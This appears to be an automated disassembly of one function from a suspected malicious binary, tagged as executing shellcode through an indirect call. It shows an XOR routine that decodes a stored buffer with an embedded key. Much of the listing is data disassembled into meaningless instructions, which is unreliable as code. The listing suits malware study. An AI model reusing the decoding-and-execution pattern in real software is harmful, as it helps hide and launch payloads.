Function at 0x4020d0
Capabilities:
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45ce20
mov eax, dword fs:[0]
push eax
sub esp, 0xa0
mov eax, dword [0x615b00]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xac], ecx
lea ecx, [ebp - 0x28]
call fcn.00413df0
mov dword [ebp - 4], 0
cmp dword [ebp + 0xc], 0
je 0x402125
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x28]
call fcn.00413f80
lea ecx, [ebp - 0x28]
call fcn.004149e0
movzx ecx, al
sub byte [ecx], al
add byte [edi], cl
mov dh, 0xc8
test ecx, ecx
je 0x402b11
push 0x45d288
lea ecx, [ebp - 0x28]
call fcn.00413f80
push 0x45d290
lea ecx, [ebp - 0x28]
call fcn.00413fc0
push 0x45d294
lea ecx, [ebp - 0x28]
call fcn.00413fc0
movzx edx, byte [0x6165cc]
test edx, edx
je 0x402af7
add byte [eax], al
mov ah, 0xd3
sti
sub al, 0xdf
pop ds
mov bl, byte [esi + 0x13fb0aac]
daa
inc eax
lodsd eax, dword [esi]
in al, 0xf9
loope 0x40212a
jg 0x4021c9
mov ebx, 0x65476007
pushal
inc eax
dec esi
mov al, 0x42
in al, dx
dec esi
in eax, dx
mov bl, 0x76
jns 0x40216c
or dh, byte [ecx + ecx]
insd dword es:[edi], dx
sbb al, 0x80
xor dword [edi], ebx
loop 0x4021ac
push esp
fucom st(5)
mov eax, dword [0x1047e5fb]
lodsd eax, dword [esi]
cwde
call dword [eax + 0x16]
jl 0x40216e
add eax, 0x95e27a21
inc ecx
daa
imul eax, ebx, 0xc9958f93
invalid
or dword [edx + ebp*2], 0x2d
mov ebx, 0x1d006b76
xchg esi, eax
lodsd eax, dword [esi]
push ss
jbe 0x40223b
add byte [0x16f2ad96], bl
jnp 0x4021ce
push ss
and dword [ecx + edi*4], 0xffffff88
iretd
push es
or cl, byte [ecx]
xchg edx, eax
mov dword es:[ebx + 0x1642cf2], edx
sbb dword [esi], edx
add esp, dword [ebx + 0x6f]
insd dword es:[edi], dx
xor dword [ecx], ebx
xor byte [edi], dl
push es
or cl, byte [ecx]
xchg edx, eax
mov dword es:[ebx + 0x1642cf2], edx
sbb dword [esi], edx
or dword [ebp + 0x69], ebp
arpl word [edx + 0x6f], si
jae 0x4022d4
je 0x402299
sub eax, 0x3062b30
push ebp
add al, 3
adc esp, dword [ecx*2 + 0x6f726369]
jae 0x4022e8
je 0x40229c
push edx
outsd dx, dword [esi]
outsd dx, dword [esi]
je 0x4022a1
inc ebx
jb 0x4022f9
imul esp, dword [esi + 0x69], 0x65746163
and byte [ecx + 0x75], al
je 0x4022f9
outsd dx, dword [esi]
jb 0x4022fd
je 0x40230f
xor byte [esi], bl
pop ss
or eax, 0x34303730
xor byte [ebx], dh
xor dword [edx], esi
xor eax, 0x5a393033
xor byte [eax + esi], dh
xor esi, dword [ecx]
xor dh, byte [0x5a393033]
pop ss
or eax, 0x34303132
xor byte [ebx], dh
xor dword [ebx], esi
xor byte [ebx], dh
xor byte [ecx], bh
pop edx
xor byte [edi + 0x31], dh
or esi, dword [eax]
or dword [esi], eax
add edx, dword [ebp + 4]
push es
adc eax, dword [edx]
push ebp
push ebx
xor dword [ebx], edx
xor byte [ecx], dl
push es
add edx, dword [ebp + 4]
or byte [ebx], dl
or dl, byte [edi + 0x61]
jae 0x40233c
imul ebp, dword [esi + 0x67], 0x316e6f74
adc byte [eax], dh
push cs
push es
add edx, dword [ebp + 4]
pop es
adc eax, dword [edi]
push edx
insd dword es:[edi], dx
insd dword es:[edi], dx
outsd dx, dword [esi]
outsb dx, byte [esi]
xor dword fs:[esi], ebx
xor byte [esi + eax], bl
add edx, dword [ebp + 4]
or dl, byte [ebx]
adc eax, 0x7263694d
outsd dx, dword [esi]
arpl word [edx + 0x6f], si
jae 0x40236d
outsd dx, dword [esi]
je 0x402321
inc ebx
outsd dx, dword [esi]
jb 0x402375
outsd dx, dword [esi]
jb 0x402369
je 0x402373
outsd dx, dword [esi]
outsb dx, byte [esi]
xor dword [ecx], esp
xor byte [edi], bl
pop ds
push es
add edx, dword [ebp + 4]
add edx, dword [ebx]
sbb byte [ebp + 0x69], cl
arpl word [edx + 0x6f], si
jae 0x40238d
je 0x402341
push esp
imul ebp, dword [ebp + 0x65], 0x6174532d
insd dword es:[edi], dx
jo 0x40234c
push eax
inc ebx
inc ecx
xor byte [edx + 0xd302201], al
push es
or dword [edx], ebp
xchg byte [eax - 0x7a], cl
test dword [0x5010101], 0x1820300
invalid
or eax, 0x5010101
add byte [ebx], al
add byte [ecx], 0xf
add byte [eax], dh
add byte [ecx], 0xa
add al, byte [edx - 0x60fffeff]
mov eax, dword [0xdbdfb16c]
dec eax
xchg edx, eax
add byte [ecx], 1
add byte [edi - 0x204e935f], bl
fisttp dword [eax - 0x6e]
sub bh, byte [ebx + ebp*2 + 0x2e]
sbb ecx, esp
mov ebp, 0x99c5e3e2
push ecx
and edx, dword [eax - 0x53]
into
fstp qword [eax]
dec esi
and al, 0xf
sbb byte [esi + 0x24], cl
pmaxsw mm2, mm1
cmpsd dword [esi], dword es:[edi]
ror dword [ebp + ebp*4 + 0x74], 1
out dx, al
shl dword [edi + 0x74ad4cd1], 1
je 0x4023a5
xor byte [eax], ah
adc ebx, ebp
pop es
aad 0x54
xchg ebp, eax
adc eax, 0x421b9449
and byte [ecx], dl
jmp 0x402380
inc edx
xchg edx, eax
scasb al, byte es:[edi]
cwde
pop esp
xor byte [esi], ah
fiadd dword [eax]
imul ebp, eax, 0x7b
mov ebp, 0xf0789ec
test dword [esi], 0x89f09804
int3
in al, dx
mov dword [edi], eax
invalid
out 0x88, eax
sbb eax, 0xa34ee7ea
mov eax, dword [0xca5323c1]
invalid
push 0x45d29c
lea ecx, [ebp - 0x28]
call fcn.00413fc0
push 0x45d2a0
lea ecx, [ebp - 0x28]
call fcn.00413fc0
push str.YdFSgspwhBbVtGLNgcCdDXyEaKYjSCsh
lea ecx, [ebp - 0x40]
call fcn.00413db0
mov byte [ebp - 4], 1
movzx eax, byte [0x6165cc]
test eax, eax
je 0x403be0
ret
mov dword [ebp - 0x64], 0
lea ecx, [ebp - 0x40]
call fcn.00414bd0
mov dword [ebp - 0x84], eax
movzx ecx, byte [0x6165cc]
test ecx, ecx
je 0x404c4a
mov dword [ebp - 0x6c], 0
jmp 0x404c5c
mov edx, dword [ebp - 0x6c]
add edx, 1
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x6c]
cmp eax, dword [0x61480c]
jge 0x404ca8
mov ecx, dword [ebp - 0x6c]
movsx ebx, byte [ecx + 0x6147d0]
mov edx, dword [ebp - 0x64]
push edx
lea ecx, [ebp - 0x40]
call fcn.00413fa0
movzx eax, word [eax]
xor ebx, eax
mov ecx, dword [ebp - 0x6c]
mov byte [ecx + 0x6147d0], bl
mov edx, dword [ebp - 0x64]
add edx, 1
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x84]
jl 0x404ca6
mov dword [ebp - 0x64], 0
add byte [eax], al
jmp 0x404c53
movzx ecx, byte [0x6165cc]
test ecx, ecx
je 0x405933
pushfd
sub ebp, edx
jns 0x404cbb
inc dword [edi]
pop es
add byte [eax], al
push esp
jg 0x404ca4
jns 0x404cc3
inc dword [edi]
pop es
add byte [eax], al
pop eax
and ah, 0x79
inc dword [edi]
add byte [eax], al
rcl dh, 0xe1
jns 0x404cd3
inc dword [edi]
pop es
add byte [eax], al
adc byte [0x7ff79e0], ch
add byte [eax], al
cld
inc ebp
in al, 0x79
inc dword [edi]
add byte [eax], al
cld
sbb esp, eax
jns 0x404ceb
inc dword [edi]
pop es
add byte [eax], al
xor byte [ebx + 0x7ff79ea], al
add byte [eax], al
cwde
in al, dx
loop 0x404d74
inc dword [edi]
add byte [eax], al
loopne 0x404d63
int1
jns 0x404d03
inc dword [edi]
pop es
add byte [eax], al
and al, 0x13
jecxz 0x404d84
inc dword [edi]
add byte [eax], al
mov ah, 0xd6
loope 0x404d8c
inc dword [edi]
add byte [eax], al
jo 0x404cdf
in eax, 0x79
inc dword [edi]
add byte [eax], al
add byte [ecx - 0x1c], bh
jns 0x404d23
inc dword [edi]
pop es
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc bh, bh
in eax, dx
jns 0x404d33
inc dword [edi]
pop es
add byte [eax], al
enter 0xffffffffffffe023, 0x79
inc dword [edi]
add byte [eax], al
mov al, byte [0xff79e01d]
pop es
inc dword [edi]
add byte [eax], al
adc byte [0x7ff79e0], ch
add byte [eax], al
add bh, ch
loope 0x404dcc
inc dword [edi]
add byte [eax], al
cwde
or ch, dh
jns 0x404d5b
inc dword [edi]
pop es
add byte [eax], al
push eax
loope 0x404d43
jns 0x404d63
inc dword [edi]
pop es
add byte [eax], al
fdiv qword [esi - 0x1c]
jns 0x404d6b
inc dword [edi]
pop es
add byte [eax], al
insb byte es:[edi], dx
add eax, 0x7ff79e5
pop es
add byte [eax], al
in al, dx
in eax, 0xe1
jns 0x404d7b
inc dword [edi]
pop es
add byte [eax], al
xor byte [ebx - 0x1c], ah
jns 0x404d83
inc dword [edi]
pop es
add byte [eax], al
int3
pop es
add byte [eax], al
adc byte [ebp - 0x20], cl
jns 0x404d93
inc dword [edi]
pop es
add byte [eax], al
cld
sbb esp, eax
jns 0x404d9b
inc dword [edi]
pop es
add byte [eax], al
cld
sbb esp, eax
jns 0x404da3
inc dword [edi]
pop es
add byte [eax], al
pushfd
sub ebp, edx
jns 0x404dab
inc dword [edi]
pop es
add byte [eax], al
push esp
jg 0x404d94
jns 0x404db3
inc dword [edi]
pop es
add byte [eax], al
mov al, byte [0xff79e93f]
pop es
add byte [eax], al
rcl dh, 0xe1
jns 0x404dc3
inc dword [edi]
pop es
add byte [eax], al
adc byte [0x7ff79e0], ch
pop es
add byte [eax], al
cld
inc ebp
in al, 0x79
inc dword [edi]
add byte [eax], al
cld
sbb esp, eax
jns 0x404ddb
inc dword [edi]
pop es
add byte [eax], al
xor byte [ebx + 0x7ff79ea], al
add byte [eax], al
cwde
in al, dx
loop 0x404e64
inc dword [edi]
add byte [eax], al
loopne 0x404e53
int1
jns 0x404df3
inc dword [edi]
pop es
add byte [eax], al
and al, 0x13
jecxz 0x404e74
inc dword [edi]
add byte [eax], al
mov ah, 0xd6
loope 0x404e7c
inc dword [edi]
add byte [eax], al
jo 0x404dcf
in eax, 0x79
inc dword [edi]
add byte [eax], al
dec esp
test ebx, esp
jns 0x404e13
inc dword [edi]
pop es
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc bh, bh
in eax, dx
jns 0x404e23
inc dword [edi]
pop es
add byte [eax], al
enter 0xffffffffffffe023, 0x79
inc dword [edi]
add byte [eax], al
mov al, byte [0xff79e01d]
pop es
inc dword [edi]
add byte [eax], al
adc byte [0x7ff79e0], ch
add byte [eax], al
add bh, ch
loope 0x404ebc
inc dword [edi]
add byte [eax], al
cwde
or ch, dh
jns 0x404e4b
inc dword [edi]
pop es
add byte [eax], al
push eax
loope 0x404e33
jns 0x404e53
inc dword [edi]
pop es
add byte [eax], al
sub byte [ebx + 0x7ff79e9], bl
add byte [eax], al
insb byte es:[edi], dx
add eax, 0x7ff79e5
pop es
add byte [eax], al
in al, dx
in eax, 0xe1
jns 0x404e6b
inc dword [edi]
pop es
add byte [eax], al
xor byte [ebx - 0x1c], ah
jns 0x404e73
inc dword [edi]
pop es
add byte [eax], al
int3
pop es
add byte [eax], al
adc byte [ebp - 0x20], cl
jns 0x404e83
inc dword [edi]
pop es
add byte [eax], al
cld
sbb esp, eax
jns 0x404e8b
inc dword [edi]
pop es
add byte [eax], al
cld
sbb esp, eax
jns 0x404e93
inc dword [edi]
pop es
add byte [eax], al
pushfd
sub ebp, edx
jns 0x404e9b
inc dword [edi]
pop es
add byte [eax], al
push esp
jg 0x404e84
jns 0x404ea3
inc dword [edi]
pop es
add byte [eax], al
jl 0x404ee8
jmp 0x484e27
pop es
add byte [eax], al
cld
inc ebp
in al, 0x79
inc dword [edi]
add byte [eax], al
cld
sbb esp, eax
jns 0x404ecb
inc dword [edi]
pop es
add byte [eax], al
xor byte [ebx + 0x7ff79ea], al
add byte [eax], al
cwde
in al, dx
loop 0x404f54
inc dword [edi]
add byte [eax], al
loopne 0x404f43
int1
jns 0x404ee3
inc dword [edi]
pop es
add byte [eax], al
mov byte [edi], bh
aas
jmp 0x484e67
inc dword [edi]
add byte [eax], al
mov al, 0x9b
jmp 0x484ec7
pop es
add byte [eax], al
in al, dx
in eax, 0xe1
jns 0x404f5b
inc dword [edi]
pop es
add byte [eax], al
xor byte [ebx - 0x1c], ah
jns 0x404f63
inc dword [edi]
pop es
add byte [eax], al
int3
call 0x401260
push 0xc
call fcn.0041812d
add esp, 4
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
je 0x405974
xor edx, edx
mov eax, dword [ebp - 0x88]
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
mov ecx, dword [ebp - 0x88]
call fcn.00413ea0
mov dword [ebp - 0x90], eax
jmp 0x40597e
mov dword [ebp - 0x90], 0
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x80], ecx
push 0x6147d0
mov ecx, dword [ebp - 0x80]
call fcn.00401280
movzx edx, byte [0x6165cc]
test edx, edx
je 0x406a90
ja 0x4059a5
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + eax + 0x65], cl
add byte [esi], ah
je 0x4059b7
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
dec eax
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc ebx
add byte [eax + eax + 0x72], dh
add byte [eax + eax], ch
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx], dl
imul eax, dword [eax], 0x680067
je 0x4059e9
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc edx
add byte [edx], dh
add byte gs:[ecx], ah
imul eax, dword [eax], 0
add byte [eax], al
add byte [eax], al
add byte [esi], cl
jne 0x405a03
insd dword es:[edi], dx
add byte [eax], ah
add byte [edi], ch
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], cl
jne 0x405a13
insd dword es:[edi], dx
add byte [eax], ah
add byte [eax], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], cl
jne 0x405a23
insd dword es:[edi], dx
add byte [eax], ah
add byte [ebx], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], cl
jne 0x405a33
insd dword es:[edi], dx
add byte [eax], ah
add byte [edx], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], cl
jne 0x405a43
insd dword es:[edi], dx
add byte [eax], ah
add byte [ecx], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], cl
jne 0x405a53
insd dword es:[edi], dx
add byte [eax], ah
add byte [ebx], ch
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], cl
jne 0x405a63
insd dword es:[edi], dx
add byte [eax], ah
add byte [esi], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], cl
jne 0x405a73
insd dword es:[edi], dx
add byte [eax], ah
add byte [0], dh
add byte [eax], al
add byte [esi], cl
jne 0x405a83
insd dword es:[edi], dx
add byte [eax], ah
add byte [eax + eax], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
dec esi
add byte [ebp], dh
insd dword es:[edi], dx
add byte [eax], ah
add byte [0], ch
add byte [eax], al
add byte [esi], cl
jne 0x405aa3
insd dword es:[edi], dx
add byte [eax], ah
add byte [ecx], bh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], cl
jne 0x405ab3
insd dword es:[edi], dx
add byte [eax], ah
add byte [eax], bh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], cl
jne 0x405ac3
insd dword es:[edi], dx
add byte [eax], ah
add byte [edi], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dl
popal
add byte [ebp], dh
jae 0x405ad7
add byte gs:[eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], dl
jo 0x405ae3
popal
add byte [ebx], ah
add byte gs:[eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], cl
jne 0x405af3
insd dword es:[edi], dx
add byte [eax], ah
add byte [edx], ch
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], dl
push 0x66006900
add byte [eax + eax], dh
add byte [eax], al
add byte [eax], al
add byte [ebp], al
outsb dx, byte [esi]
add byte [eax + eax + 0x65], dh
add byte [edx], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc esp
add byte [ebp], ah
insb byte es:[edi], dx
add byte [ebp], ah
je 0x405b29
add byte gs:[eax], al
add byte [eax], al
add byte [ecx], cl
outsb dx, byte [esi]
add byte [ebx], dh
add byte gs:[edx], dh
je 0x405b3b
add byte [eax], al
add byte [eax], al
push eax
add byte [ecx], ah
add byte [di], ah
and byte [eax], al
push ebp
add byte [eax], dh
add byte [eax], al
push ebx
add byte [ecx], bh
jae 0x405b55
and byte [eax], al
push edx
add byte [ebp], ah
jno 0x405b5d
add byte [eax], al
dec esi
add byte [ebp], dh
insd dword es:[edi], dx
add byte [eax], ah
add byte [eax + eax + 0x65], al
add byte [eax + eax], ch
add byte [esi], cl
jne 0x405b73
insd dword es:[edi], dx
add byte [eax], ah
add byte [eax + eax + 0x6f], cl
add byte [ebx], ah
imul eax, dword [eax], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dl
popal
add byte [edi], ah
add byte gs:[eax], ah
add byte [eax + eax + 0x6f], al
add byte [edi], dh
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx], dl
imul eax, dword [eax], 0x680067
je 0x405ba9
and byte [eax], al
inc ecx
add byte [eax + eax + 0x74], ch
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dl
jb 0x405bbb
outsb dx, byte [esi]
add byte [eax + eax + 0x20], dh
add byte [ebx], dl
arpl word [eax], ax
jb 0x405bc7
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], cl
jne 0x405bd3
insd dword es:[edi], dx
add byte [eax], ah
add byte [ebp], al
outsb dx, byte [esi]
add byte [eax + eax + 0x65], dh
add byte [edx], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc ebx
add byte [ecx], ah
jo 0x405bed
jae 0x405bef
and byte [eax], al
dec esp
add byte [edi], ch
arpl word [eax], ax
imul eax, dword [eax], 0
add byte [eax], al
add byte [eax], al
add byte [edx], al
popal
add byte [ebx], ah
imul eax, dword [eax], 0x73
add byte [eax], dh
popal
add byte [ebx], ah
add byte gs:[eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
jo 0x405c1b
jo 0x405c1d
insb byte es:[edi], dx
add byte [ecx], ch
arpl word [eax], ax
popal
add byte [eax + eax + 0x69], dh
add byte [edi], ch
outsb dx, byte [esi]
add byte [eax], al
add byte [ebx], dl
arpl word [eax], ax
jb 0x405c35
outsd dx, dword [esi]
add byte [eax + eax + 0x6c], ch
add byte [eax], ah
add byte [eax + eax + 0x6f], cl
add byte [ebx], ah
imul eax, dword [eax], 0
add byte [edx], dl
imul eax, dword [eax], 0x680067
je 0x405c51
and byte [eax], al
push ebx
add byte [eax], ch
imul eax, dword [eax], 0x740066
add byte [eax], al
push eax
adc bh, bh
invalid
mov ecx, dword [ebp - 0x80]
call fcn.00401370
mov dword [ebp - 0x9c], eax
mov ecx, dword [ebp - 0x9c]
call fcn.004020a0
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x400
jge 0x407a08
movzx eax, byte [0x6165cc]
test eax, eax
je 0x4079e8
add byte [eax], al
insd dword es:[edi], dx
pop edi
jo 0x406b26
jae 0x406b46
jne 0x406b4b
arpl word [ebp + 0x4e], sp
outsd dx, dword [esi]
outsb dx, byte [esi]
dec esp
outsd dx, dword [esi]
arpl word [eax], ax
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc edi
je 0x406b3e
jae 0x406b5e
jne 0x406b63
arpl word [ebp + 0x49], sp
outsb dx, byte [esi]
jae 0x406b6b
popal
outsb dx, byte [esi]
arpl word [ebp + 0x4e], sp
outsd dx, dword [esi]
outsb dx, byte [esi]
dec esp
outsd dx, dword [esi]
arpl word [eax], bp
sub dword [eax], eax
add byte [eax], al
add byte [eax], al
xor byte [eax], ah
cmp eax, 0x5f6d203d
jo 0x406b63
jae 0x406b83
jne 0x406b88
arpl word [ebp + 0x4c], sp
outsd dx, dword [esi]
arpl word [eax], ax
add byte [eax], al
add byte [eax], al
insd dword es:[edi], dx
pop edi
jo 0x406b76
jae 0x406b96
outsd dx, dword [esi]
jne 0x406b9b
arpl word [ebp + 0x4c], sp
outsd dx, dword [esi]
arpl word [eax], ax
add byte [edi + 0x65], al
je 0x406b86
jae 0x406ba6
jne 0x406bab
arpl word [ebp + 0x49], sp
outsb dx, byte [esi]
jae 0x406bb3
je 0x406ba1
popal
outsb dx, byte [esi]
arpl word [ebp + 0x4c], sp
outsd dx, dword [esi]
arpl word [eax], bp
sub dword [eax], eax
add byte [eax], al
sub byte [ecx], ch
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor byte [eax], ah
cmp eax, 0x6955203d
add byte [eax], al
add byte [eax], al
add byte [eax], dh
and byte [0x6955203d], bh
dec ebp
jne 0x406bce
js 0x406b5d
add byte [eax], al
add byte [eax], dh
and byte [ecx], ah
add byte [eax], al
xor byte [eax], ah
and dword [0x4d695520], edi
cmp eax, 0x4d695520
jne 0x406bde
js 0x406b6d
js 0x406b6d
add byte [eax], al
add byte [eax], dh
and byte [0x535f203d], bh
push ebx
je 0x406bda
arpl word [ebx], bp
pop edi
push ebx
je 0x406be1
arpl word [ebx], bp
add byte [eax], al
add byte [eax], al
add byte [edi], dl
imul eax, dword [eax], str.fjSCY
jb 0x406b92
add byte [eax], al
push edi
add byte [ecx], ch
jp 0x406b8e
popal
add byte [edx], dh
add byte fs:[ebp], dl
dec ecx
add byte [edx], bh
add byte [edx], bh
add byte [ecx], cl
outsb dx, byte [esi]
add byte [ebx], dh
je 0x406ba4
add byte [eax + eax + 0x61], dh
popal
add byte [eax + eax + 0x6c], ch
add byte [esi], al
outsd dx, dword [esi]
add byte [esi], ch
je 0x406bb2
insb byte es:[edi], dx
add byte [eax + eax + 0x46], ch
add byte [edi], ch
outsb dx, byte [esi]
add byte [eax + eax], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc ebx
outsd dx, dword [esi]
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x6f], al
jne 0x406c28
outsb dx, byte fs:[esi]
daa
je 0x406be1
imul ebp, dword [esi + 0x73], 0x6c6c6174
and byte [eax + ebp*2 + 0x65], dh
and byte [esi + 0x6f], ah
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x406bf2
imul bp, word [ebp + 0x20], 0x2528
jae 0x406c04
sub dword [eax], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x5f], ch
add byte [eax], al
insd dword es:[edi], dx
pop edi
jae 0x406c5e
inc esi
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x406c2f
imul ebp, dword [ebp + 0x4e], 0x20656d61
and dword [0x3020], edi
cmp eax, 0x3020
add byte [edi], dl
imul eax, dword [eax], str.fjSCY
jb 0x406c02
add byte fs:[ebp], dl
dec ecx
add byte [edx], bh
add byte [edx], bh
add byte [ebx], dl
je 0x406c10
push ebp
add byte [ecx], cl
cmp al, byte [eax]
cmp al, byte [eax]
push ebx
add byte [eax + eax + 0x61], dh
popal
add byte [edx], dh
je 0x406c16
push ebp
add byte [ecx], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor byte [eax], ah
and dword [0x72507020], edi
outsd dx, dword [esi]
je 0x406c9a
push eax
popal
jae 0x406c31
jae 0x406c31
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dh
and byte [0x5f6d203d], bh
jo 0x406c91
jb 0x406cb2
je 0x406cb4
push eax
popal
jae 0x406c4b
add byte [eax], al
add byte [eax], al
add byte [eax], dh
and byte [ecx], ah
cmp eax, 0x705f6d20
push eax
jb 0x406cca
je 0x406ccc
push eax
popal
jae 0x406c63
add byte [eax], al
add byte [eax], al
add byte [edi + 0x61], bl
jo 0x406cdc
push edi
imul ebp, dword [esi + 0x64], 0x776f
add byte [eax], al
add byte [eax], al
xor byte [eax], ah
cmp eax, 0x6854203d
jb 0x406ce6
popal
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
add byte gs:[eax], al
add byte [eax], al
add byte [eax], al
add byte [edi], dl
imul eax, dword [eax], str.fjSCY
jb 0x406c9a
add byte [ecx], ch
jp 0x406c96
popal
add byte [edx], dh
add byte fs:[ebp], dl
dec ecx
add byte [edx], bh
add byte [edx], bh
add byte [edi], dl
popal
add byte [ecx], ch
je 0x406cac
inc esi
add byte [edi], ch
jb 0x406cb2
push ebp
add byte [ecx], cl
inc ebp
add byte [esi], ch
add byte fs:[eax], al
dec ecx
add byte [ebp], al
outsb dx, byte [esi]
add byte [eax + eax], ah
add byte [eax], al
add byte [eax + ebp*2 + 0x72], dl
popal
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte gs:[eax], al
add byte [eax], al
add byte [eax], al
push edi
add byte [ecx], ch
jp 0x406cd6
popal
add byte [edx], dh
add byte fs:[ebp], dl
dec ecx
add byte [edx], bh
add byte [edx], bh
add byte [edi], al
push ebp
add byte [ecx], cl
cmp al, byte [eax]
cmp al, byte [eax]
inc edi
add byte [ebp], ah
je 0x406cea
add byte gs:[eax + eax + 0x43], dh
inc ebx
add byte [ecx], ah
outsb dx, byte [esi]
add byte [ebx], ah
add byte gs:[eax + eax + 0x50], ch
add byte [ecx], ah
add byte [di], ah
add byte [eax], al
jo 0x406d45
popal
outsb dx, byte [esi]
arpl word [ebp + 0x6c], sp
dec esi
outsd dx, dword [esi]
add byte gs:[eax], al
add byte [eax], al
add byte [eax + 0x43], dh
popal
outsb dx, byte [esi]
arpl word [ebp + 0x6c], sp
push eax
popal
add byte gs:[bx + si], al
add byte [eax], al
add byte [edi], dl
imul eax, dword [eax], str.fjSCY
jb 0x406d2a
add byte fs:[ebp], dl
dec ecx
add byte [edx], bh
add byte [edx], bh
add byte [edi], al
add byte gs:[eax + eax + 0x43], dh
add byte [ebp], dh
jb 0x406d40
jb 0x406d42
add byte gs:[esi], ch
je 0x406d48
add byte [eax + eax + 0x50], dh
push eax
add byte [ecx], ah
add byte [di], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jo 0x406daa
popal
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x406dc3
imul ebp, dword [esi + 0x65], 0x70000072
push edi
imul edi, dword [edx + 0x61], 0x61506472
add byte gs:[bx + si], al
add byte [eax], al
add byte [esi], cl
popal
add byte [esi], dh
imul eax, dword [eax], 0x610067
je 0x406d86
outsd dx, dword [esi]
add byte [edx], dh
cmp al, byte [eax]
cmp al, byte [eax]
add byte [di], ah
je 0x406d94
dec ecx
add byte [esi], ch
jae 0x406d9a
je 0x406d9c
popal
add byte [esi], ch
arpl word [eax], ax
add byte gs:[eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + eax + 0x3a], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte fs:[edx], bh
add byte [eax + eax + 0x77], bl
add byte [edi], dh
add byte [edx], dh
je 0x406dbe
insd dword es:[edi], dx
add byte [eax + eax + 0x62], bl
add byte [ecx], ah
jae 0x406dc8
add byte gs:[eax + eax + 0x6e], bl
add byte [eax + eax + 0x73], dh
add byte [ebp], ah
je 0x406dd6
jne 0x406dd8
jo 0x406dda
pop esp
add byte [ebp], dh
imul eax, dword [eax], 0x73005c
jo 0x406de6
ja 0x406de8
imul eax, dword [eax], 0x65007a
outsb dx, byte [esi]
add byte [edi], ah
pop esp
add byte [ebx], dh
jb 0x406df8
arpl word [eax], ax
pop esp
add byte [edi], dh
imul eax, dword [eax], 0x6e007a
popal
add byte [esi], dh
add byte cs:[ebx], ah
jo 0x406e0e
jo 0x406e10
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
imul ebp, dword [esi + 0x73], 0x636e6174
add byte gs:[eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
dec esi
add byte [ecx], ah
jbe 0x406e2e
imul eax, dword [eax], 0x610067
je 0x406e36
outsd dx, dword [esi]
add byte [edx], dh
cmp al, byte [eax]
cmp al, byte [eax]
inc ebx
add byte [ecx], ah
outsb dx, byte [esi]
add byte [ebx], ah
add byte gs:[eax + eax], ch
add byte [eax], al
add byte [eax], al
add byte [edi], dl
imul eax, dword [eax], str.fjSCY
jb 0x406e5a
add byte fs:[eax], dl
popal
add byte [edi], ah
add byte gs:[edx], bh
add byte [edx], bh
add byte [ecx], cl
outsb dx, byte [esi]
add byte [ecx], ch
je 0x406e70
imul eax, dword [eax], 0x6c0061
imul eax, dword [eax], 0x65007a
add byte [eax], al
add byte [eax], al
add byte fs:[edx], bh
add byte [eax + eax + 0x77], bl
add byte [edi], dh
